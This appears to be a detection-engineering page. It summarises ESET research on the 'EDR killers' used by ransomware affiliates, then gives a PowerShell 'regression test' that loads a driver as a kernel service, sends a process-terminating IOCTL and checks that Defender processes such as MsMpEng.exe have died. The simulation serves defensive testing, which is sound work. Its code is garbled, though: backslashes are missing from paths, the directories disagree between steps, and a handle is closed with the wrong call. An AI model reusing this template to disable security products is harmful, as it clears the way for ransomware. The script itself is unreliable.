ESET Research EDR killers explained: Beyond the drivers

Summary

The article explores the EDR killer ecosystem that ransomware operators use to neutralize endpoint protection before launching encryptors. It explains how adversaries rely on vulnerable drivers, legitimate anti-rootkit utilities, and even driverless techniques to evade defenses and disable security software. The findings are grounded in telemetry covering nearly 90 EDR killers seen in real-world attacks. The research also underscores the role of ransomware affiliates, the repeated reuse of the same drivers, and the growing market for commercialized EDR-killer services.

Investigation

ESET researchers analyzed telemetry, code repositories, and documented intrusion cases to trace how EDR killers are built, distributed, and deployed. They classified multiple families, including driver-based, script-based, anti-rootkit, and driverless variants, and tied them to ransomware groups such as Warlock, LockBit, Akira, and Medusa. The study further highlighted the weaponization of public proof-of-concept code and the growing influence of AI-assisted development in this tooling ecosystem.

Mitigation

Defenders should block known vulnerable drivers, monitor for abnormal use of privileged administrative commands, and detect known EDR-killer binaries and behavioral patterns. Layered detections that identify driver installation, forced termination of security products, and unusual network blocking behavior can narrow the time window attackers have before ransomware execution begins.

Response

If an EDR killer is detected, isolate the host immediately, terminate the malicious process, remove any unauthorized drivers, and confirm that security controls are fully restored. Follow with forensic analysis to determine which ransomware payload or affiliate activity is associated with the intrusion and activate the broader incident response workflow.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Attack Narrative & Commands

1. Stage 1 – Drop the malicious driver
   The attacker writes a driver binary (EdrKiller.sys) to C:WindowsTemp and registers it as a service named EdrKillerSvc.

2. Stage 2 – Start the driver service
   Starting the service loads the driver into kernel space, where it registers an IOCTL handler capable of terminating processes.

3. Stage 3 – Issue the malicious DeviceIoControl call
   Using PowerShell, the attacker opens a handle to \.EdrKiller and sends the IOCTL code 0x9C040001 (hypothetical “TerminateProcess” code). The driver iterates the process list, kills any process whose executable name matches a known EDR component.

4. Stage 4 – Verify termination
   The attacker checks that the targeted EDR processes are no longer running.

Regression Test Script

# --------------------------------------------------------------
# EDR Killer Simulation – PowerShell (requires administrator)
# --------------------------------------------------------------

# 1. Paths & variables
$driverPath   = "$env:ProgramDataEdrKiller.sys"
$serviceName  = "EdrKillerSvc"
$deviceName   = "\.EdrKiller"
$ioctlCode    = 0x9C040001   # Example control code for "TerminateProcesses"

# 2. Deploy malicious driver (simulated – replace with a real .sys for real test)
#    For demo purposes we copy a legit driver (e.g., null.sys) to act as a placeholder.
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force

# 3. Create and start the service that loads the driver
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName

Start-Sleep -Seconds 2   # give the driver time to initialize

# 4. Define DeviceIoControl P/Invoke
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateFile(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        uint dwIoControlCode,
        IntPtr lpInBuffer,
        uint nInBufferSize,
        IntPtr lpOutBuffer,
        uint nOutBufferSize,
        out uint lpBytesReturned,
        IntPtr lpOverlapped);
}
"@
Add-Type $signature

# 5. Open handle to the driver
$GENERIC_READ  = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
    $deviceName,
    $GENERIC_READ -bor $GENERIC_WRITE,
    0,
    [IntPtr]::Zero,
    $OPEN_EXISTING,
    0,
    [IntPtr]::Zero)

if ($hDevice -eq [IntPtr]::MinusOne) {
    Write-Error "Failed to open handle to $deviceName"
    exit 1
}

# 6. Issue the malicious IOCTL
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
    $hDevice,
    $ioctlCode,
    [IntPtr]::Zero,
    0,
    [IntPtr]::Zero,
    0,
    [ref]$bytesReturned,
    [IntPtr]::Zero)

if ($success) {
    Write-Host "Malicious DeviceIoControl sent successfully."
} else {
    $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-Error "DeviceIoControl failed with error $err"
}

# 7. Close handle
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null

# 8. Verify that typical EDR processes are gone (example names)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
    if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
        Write-Warning "$proc is still running."
    } else {
        Write-Host "$proc successfully terminated."
    }
}

Cleanup Commands

# Stop and delete the malicious driver service
sc.exe stop $serviceName
sc.exe delete $serviceName

# Remove fake driver file
Remove-Item -Path $driverPath -Force

Write-Host "Cleanup completed."